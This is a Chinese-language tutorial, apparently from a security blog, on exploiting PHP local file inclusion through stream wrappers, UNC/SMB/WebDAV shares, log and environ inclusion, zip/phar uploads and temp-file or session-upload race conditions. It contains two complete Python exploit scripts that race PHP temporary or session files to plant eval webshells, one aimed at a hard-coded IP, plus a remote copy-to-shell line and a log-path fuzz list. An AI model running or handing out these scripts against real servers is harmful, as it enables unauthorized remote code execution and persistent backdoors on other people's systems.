四个函数 1 2 3 4 include require include_once require_once
PHP Stream Wrapper 常见的有以下几种,下面几种都涉及到不同的姿势
var_dump(stream_get_wrappers());
查看系统注册了哪些wrapper,对应phpinfo的Registered Stream Filters
常用的伪协议及其条件:
可见上述封装协议有两个受影响,data://
受两个配置项的影响,php://filter
受allow_url_include
的影响
常用的姿势
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 过滤器 php: string .strip_tags string .rot13 string .toupperconvert.base64-decode convert.quoted-printable-decode convert.iconv.<input-encoding>.<output-encoding> convert.iconv.utf-16 le.utf-8 清除死亡exit ssrf 内网 读文件 列目录 glob: data: data: data:text/plain,<?php phpinfo()?> data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= data:,xxx -> xxx compress.zlib: compress.bzip2: zip: compress.bzip2: ssrf + ftp passive mode phar: phar反序列化
关于触发phar反序列化的关键底层其实是调用了php_stream_locate_url_wrapper
和php_stream_open_wrapper
这两个函数,关于php_stream_open_wrapper
的挖掘,可以参考@zsx师傅的这篇
UNC 该方式使用于windows下关闭了两个配置项的文件包含。可以利用smb和webdav这两个协议是实现包含。由于allow_url_open=Off时会禁止远程的ftp、http协议的URL,但不会禁止UNC的远程文件共享(只适用于windows)
什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
UNC为网络(主要指局域网)上资源的完整Windows 2000名称。支持远程网络。 格式:\\servername\sharename
(也可以使用/
),其中servername是服务器名。sharename是共享资源的名称。
UNC共享就是指网络硬盘 的共享
SMB 需要搭建smb服务,比较繁琐,在自己的vps上利用以下命令搭建一个
1 2 3 4 5 6 7 8 9 apt-get install samba mkdir /var/www/html/pub/ chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/ echo > /etc/samba/smb.conf
在smb.conf下写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
在/var/www/html/pub
放入我们的phpinfo文件即可。
重启SMB服务
注意,如果使用阿里云的VPS去搭建的话,需要开启445端口的访问权(这里有时候可能不行)
Webdav webdav也是一个协议。网络磁盘的共享协议
可以快速搭建一个(报错,未成功,待查)
1 docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
然后把php文件放入/root/webdav/data
中即可
上面两种方法文件包含的poc
1 2 3 4 5 第一种 http://127.0.0.1/include.php?file=//vps/1.php 第二种 http://127.0.0.1/include.php?file=//vps//webdav/1.php //注意双斜杠
包含日志文件 这类方法比较有局限性,其有几点要求:
有权限读取日志文件,默认情况下,php和apache2的启动进程一般是www-data,而绝大部分的log文件的权限都是root组的,所以无法包含,除非一些管理员不注意使用给php等进程启用了高权限,这样可能导致包含日志文件
log文件位置不定,如果专门设置了log文件的位置,这是很难知道的,在phpinfo中可以确切的查看到error_log的位置,但是看不到access_log的位置,因此我们需要fuzz,文件读取漏洞路径收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /home/apache/conf/httpd.conf /home/apache2/conf/httpd.conf /var/log/apache/error_log /var/log/apache/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache2/access_log /var/log/apache2/access.log /var/www/logs/error_log /var/www/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/error_log /var/log/error.log /var/log/access_log /var/log/access.log /usr/local/apache/logs/access_logaccess_log.old /usr/local/apache/logs/error_logerror_log.old
如果上述两个条件都满足,那么我们便可包含
包含access_log 该文件是由apache的配置文件中的CustomLog
指令来指定的,其采用相对ServerRoot
(安装、工作目录)的路径
该日志用于记录访问信息,一般包括HTTP头部的大部分信息,我们可控的地方有UA、URL路径 等,因此我们可以访问一个404的地址,然后再URL中写入我们的代码(注意,不要在?file=
即URL参数后写入,因为会URL编码,尽量在其他地方写;不要用浏览器直接访问,因为浏览器会自动URL编码)
包含环境变量 包含linux(FreeBSD是没有这个的)下的/proc/self/environ
,该文件可能记录用户的UA头,此时可以包含,而且该文件是直接可以读取的,因此不用考虑权限问题。但是要求
包含的方式和包含access_log一样,直接在UA中写入代码
配合文件上传 压缩利用
1 2 3 zip://路径/shell.jpg%23shell #文件后缀不影响 要求zip的名称和zip里的文件名称一样?? zip://路径/shell.jpg%23dir/shell.php #多层目录 zip://路径/shell.jpg%23dir/shell #多层目录
phar除了我们习以为常的反序列化,还可直接像zip一样来使用,其本身也是归档用的
1 2 3 4 <?php $p = new PharData(dirname(__FILE__ ).'/phar.jpg' , 0 ,'phar' ,Phar::ZIP) ; $p ->addFromString('test.txt' , '<?php phpinfo();?>' ); ?>
将会生成phar.jpg文件,里面是test.txt文件,直接包含
1 phar://路径/phar.jpg/test.txt
phpinfo 从phpinfo中我们能得到许多信息,利用这些信息配合一些php处理文件的特性,我们可以有很多种包含方法
常用的有
System:详细的操作系统信息 确定window or linux
Registered Stream Filters: 注册的php过滤器和流协议
extension_dir:php扩展的路径
short_open_tag:<?= 和 <? echo 等价
disable_functions:禁用函数
open_basedir:将用户可操作的文件限制在某目录下
常用超全局变量
本地包含临时文件 这个思路P牛很早就说过了,原理大概是:
构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的$_FILE["file"]
查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。这里利用的条件有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 fopen ( string $filename , string $mode , bool $use_include_path = false , resource $context = ? ) : resource fwrite ( resource $handle , string $string , int $length = ? ) : int file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int rename ( string $oldname , string $newname , resource $context = ? ) : bool move_uploaded_file ( string $filename , string $destination ) : bool copy ( string $source , string $dest , resource $context = ? ) : bool copy("http://vps/1.php" , "./shell.php" );
然后利用一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 import sysimport threadingimport socketdef setup (host, port ): TAG="Security Test" PAYLOAD="""%s\r <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php eval($_POST["diggid"]);?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a=""" +padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" +padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ +padding+"""\r HTTP_ACCEPT_LANGUAGE: """ +padding+"""\r HTTP_PRAGMA: """ +padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len (REQ1_DATA),host,REQ1_DATA) LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ LFIREQ_POST = """POST /lfi.php HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r Content-Type: application/x-www-form-urlencoded Content-Length: %d %s \r \r""" return (REQ1, TAG, LFIREQ) def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag ): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len (d) < offset: d += s.recv(offset) try : i = d.find("[tmp_name] => " ) fn = d[i+17 :i+31 ] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096 ) s.close() s2.close() if d.find(tag) != -1 : return fn counter=0 class ThreadWorker (threading.Thread ): def __init__ (self, e, l, m, *args ): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run (self ): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try : x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print("\nGot it! Shell created in /tmp/g" ) self.event.set () except socket.error: return def getOffset (host, port, phpinforeq ): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True : i = s.recv(4096 ) d+=i if i == "" : break if i.endswith("0\r\n\r\n" ): break s.close() i = d.find("[tmp_name] => " ) if i == -1 : raise ValueError("No php tmp_name in phpinfo output" ) print("found %s at %i" % (d[i:i+10 ],i)) return i+256 def main (): print("LFI With PHPInfo()" ) print("-=" * 30 ) if len (sys.argv) < 2 : print("Usage: %s host [port] [threads]" ) % sys.argv[0 ] sys.exit(1 ) try : host = socket.gethostbyname(sys.argv[1 ]) except socket.error as e: print("Error with hostname %s: %s" ) % (sys.argv[1 ], e) sys.exit(1 ) port=80 try : port = int (sys.argv[2 ]) except IndexError: pass except ValueError as e: print("Error with port %d: %s" ) % (sys.argv[2 ], e) sys.exit(1 ) poolsz=10 try : poolsz = int (sys.argv[3 ]) except IndexError: pass except ValueError as e: print("Error with poolsz %d: %s" ) % (sys.argv[3 ], e) sys.exit(1 ) print("Getting initial offset..." ), reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print("Spawning worker pool (%d)..." ) % poolsz sys.stdout.flush() tp = [] for i in range (0 ,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try : while not e.wait(1 ): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print("Woot! \m/" ) else : print(":(" ) except KeyboardInterrupt: print("\nTelling threads to shutdown..." ) e.set () print("Shuttin' down..." ) for t in tp: t.join() if __name__=="__main__" : main()
这里我们搭一个环境来试一下,
1 python .\include_tmp.py x.x.x.x 80 100
提示写入成功了,但是包含/tmp/g
却包含失败,排查了一翻,发现是apache2.service
的PrivateTmp
这个配置项导致在tmp出现类似这样的临时目录systemd-private-eff24922558d417b9c8a24c070bd50d5-apache2.service-bmdBYh
,该配置项会给每个临时文件同时生成一个临时目录,不仅使用在apache2服务中,在xxx.service
如mysql.service、nginx.service也存在相同的配置。
session.upload_progress session上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name 同名变量时,上传进度可以在$_SESSION 中获得。 当PHP检测到这种POST请求时,它会在$_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如
1 2 3 4 5 <?php $key = ini_get("session.upload_progress.prefix" ) . ini_get("session.upload_progress.name" );var_dump($_SESSION [$key ]); ?>
官方文档中给了一个文件上传的页面
1 2 3 4 5 6 <form action ="upload.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="<?php echo ini_get(" session.upload_progress.name "); ?> " value="123" /> <input type ="file" name ="file1" /> <input type ="file" name ="file2" /> <input type ="submit" /> </form >
上传后的信息可以在$_SESSION['upload_progress_123']
中找到,即session.upload_progress.prefix + value。而$_SESSION的值会存储到对应的session文件中,由于上述存在可控拼接value
,因此我们在序列化的session文件中可以注入我们的代码
1.session.use_strict_mode
该值默认为false,意思就是用户可以自定义Session ID ,因此只要我们的http头部中有PHPSESSID,就会生成相应的session文件。因此我们在没有session_start()
的情况下也能利用。
2.session.upload_progress.cleanup
默认开启session.upload_progress.enabled 和session.upload_progress.cleanup 。前者是该配置的开关,后者用于上传完后清除对应的session文件。所以此时我们需要利用条件竞争,不断上传一个大文件,然后进行包含,默认路径:
1 /var/lib/sessions/sess_[PHPSESSID]
利用bp使劲上传下面两个,一个生成session文件,一个包含生成的文件,然后把马写到/tmp/shell
实现稳定连接
如果file_put_contents被禁了,那就换上面的其他的。也可以写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timeimport threadinghost = 'http://101.132.159.30' PHPSESSID = 'diggid' def creatSession (): while True : files = { "upload" : ("1.jpg" , open ("C:/mm/xm/shell.jpg" , "rb" )) } payload = """<?php echo md5("1");file_put_contents('/var/www/html/pics/shell.php','<?php @eval($_REQUEST[diggid]);?>');?>""" data = { "PHP_SESSION_UPLOAD_PROGRESS" : payload } headers = {'Cookie' :'PHPSESSID=' + PHPSESSID} url = host + "/1.php" r = requests.post(url, files = files, headers = headers, data=data, proxies={"http" :"http://127.0.0.1:8080" }) print(r.status_code) fileName = "/var/lib/php/sessions/sess_" +PHPSESSID if __name__ == '__main__' : url = "{}/1.php?file={}" .format (host,fileName) headers = {'Cookie' :'PHPSESSID=' + PHPSESSID} t = threading.Thread(target=creatSession,args=()) t.setDaemon(True ) t.start() while True : res = requests.get(url,headers=headers) if b"c4ca4238a0b923820dcc509a6f75849b" in res.content: print("[*] Get shell success." ) break else : print("[-] retry." )
LFI + php7崩溃 在php7使用php://filter/string.strip_tags=/etc/passwd
这个过滤器会使得php进程崩溃(segment fault),同时上传文件的话,在上传处理的过程中,临时文件先写入/tmp/php[xxxxxx]
,然后程序崩溃,此时临时文件不会被删除,局限性